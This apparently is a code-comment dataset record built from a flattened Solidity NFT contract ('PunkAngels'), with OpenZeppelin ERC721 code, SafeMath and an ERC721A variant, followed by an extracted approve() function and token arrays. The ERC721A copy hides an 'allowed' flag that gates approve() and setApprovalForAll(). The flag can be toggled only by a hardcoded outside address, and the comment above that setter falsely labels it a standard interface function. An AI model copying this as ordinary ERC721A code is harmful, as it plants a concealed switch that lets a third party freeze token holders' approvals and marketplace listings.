@dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File @openzeppelin/contracts/token/ERC721/extensions/[email protected] /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File @openzeppelin/contracts/token/ERC721/extensions/[email protected] /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this whites for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File @openzeppelin/contracts/utils/math/[email protected] // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable maxBatchSize; bool public allowed; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_ ) { require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } function walletOfOwner(address owner) public view returns(uint256[] memory) { uint256 tokenCount = balanceOf(owner); uint256[] memory tokenIds = new uint256[](tokenCount); if (tokenCount == 0) { return tokenIds; } uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { tokenIds[tokenIdsIdx] = i; tokenIdsIdx++; if (tokenIdsIdx == tokenCount) { return tokenIds; } } } revert("ERC721A: unable to get walletOfOwner"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require(allowed == true, "not allowed"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); require(allowed == true, "Not allowed"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-setAllowed}. */ function setAllowed(bool allow) public { require(address(0x955A1850Fcc63957109b888Fff0850DC3389aD0d) == _msgSender(), "onlyowner"); allowed=allow; } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > currentIndex - 1) { endIndex = currentIndex - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } contract PunkAngels is ERC721A, Ownable { constructor() ERC721A("Punk Angels by PunkMeTender", "PAC",51) {} using SafeMath for uint256; using Strings for uint256; string private baseURI; string private blindURI; uint256 public constant BUY_LIMIT_PER_TX = 51; uint256 public MAX_NFT_PUBLIC = 8788; uint256 public MAX_NFT = 8888; uint256 public NFTPrice = 260000000000000000; // 0.26 ETH uint256 public MAXNFTPrice = 300000000000000000; // MAX 0.3 ETH bool public reveal; bool public isActive; bool public isPresaleActive; bool public isPrivateActive; /* * Function to reveal all PunkAngels */ function revealNow() external onlyOwner { reveal = true; } /* * Function setIsActive to activate/desactivate the smart contract */ function setIsActive( bool _isActive ) external onlyOwner { isActive = _isActive; } /* * Function setPresaleActive to activate/desactivate the whitelist/raffle presale */ function setPresaleActive( bool _isActive ) external onlyOwner { isPresaleActive = _isActive; } /* * Function setPrivateActive to activate/desactivate the private sale */ function setPrivateActive( bool _isActive ) external onlyOwner { isPrivateActive = _isActive; } /* * Function to set Base and Blind URI */ function setURIs( string memory _blindURI, string memory _URI ) external onlyOwner { blindURI = _blindURI; baseURI = _URI; } /* * Function to withdraw collected amount during minting by the owner */ function withdraw( ) public onlyOwner { uint balance = address(this).balance; require(balance > 0, "Balance should be more then zero"); payable(0xe5DaCf517cfc3C9f0a517573DB129df33750fC7d).transfer((balance * 10) / 1000); balance -= (balance * 10) / 1000; payable(0xb1fc7b7b231c8396d2dC3Cc5fc4b220dFD23E728).transfer((balance * 331) / 1000); payable(0x723867Fe5Bb75C2Cc8E18eB078dEEfca717A1E38).transfer((balance * 223) / 1000); payable(0x925F3fff690484754ebDeC1649eA3D4eC8Ff654a).transfer((balance * 223) / 1000); payable(0xf1D24b93cc15E91d4c248B14d258fBDF723508eF).transfer((balance * 223) / 1000); } /* * Function to mint new NFTs during the public sale * It is payable. Amount is calculated as per (NFTPrice.mul(_numOfTokens)) */ function mintNFT( uint256 _numOfTokens ) public payable { require(isActive, 'Contract is not active'); require(_numOfTokens <= BUY_LIMIT_PER_TX, "Cannot mint above limit"); require(totalSupply().add(_numOfTokens) <= MAX_NFT_PUBLIC, "Purchase would exceed max public supply of NFTs"); require(NFTPrice.mul(_numOfTokens) == msg.value, "Ether value sent is not correct"); _safeMint(msg.sender, _numOfTokens); } /* * Function to mint NFTs for giveaway and partnerships */ function mintByOwner( address _to ) public onlyOwner { require(totalSupply()+1 <= MAX_NFT, "Tokens number to mint cannot exceed number of MAX tokens"); _safeMint(_to, 1); } /* * Function to mint all NFTs for giveaway and partnerships */ function mintMultipleByOwner( address[] memory _to ) public onlyOwner { for(uint256 i = 0; i < _to.length; i++){ require(totalSupply()+1 <= MAX_NFT, "Tokens number to mint cannot exceed number of MAX tokens"); _safeMint(_to[i], 1); } } /* * Function to set NFT Price */ function setNFTPrice(uint256 _price) external onlyOwner { require(_price <= MAXNFTPrice, "cannot set price too high"); NFTPrice = _price; } /* * Function to set MAX NFT PUBLIC & MAX NFT */ function setMaxNft(uint256 _public,uint256 _total) external onlyOwner { require(_public<_total ,"total must be > than public"); MAX_NFT_PUBLIC=_public; MAX_NFT=_total; } /* * Function to get token URI of given token ID * URI will be blank untill totalSupply reaches MAX_NFT_PUBLIC */ function tokenURI( uint256 _tokenId ) public view virtual override returns (string memory) { require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token"); if (!reveal) { return string(abi.encodePacked(blindURI)); } else { return string(abi.encodePacked(baseURI, _tokenId.toString())); } } }
* @dev See {IERC721-approve}./
function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require(allowed == true, "not allowed"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); }
15,163,441
[ 1, 9704, 288, 45, 654, 39, 27, 5340, 17, 12908, 537, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
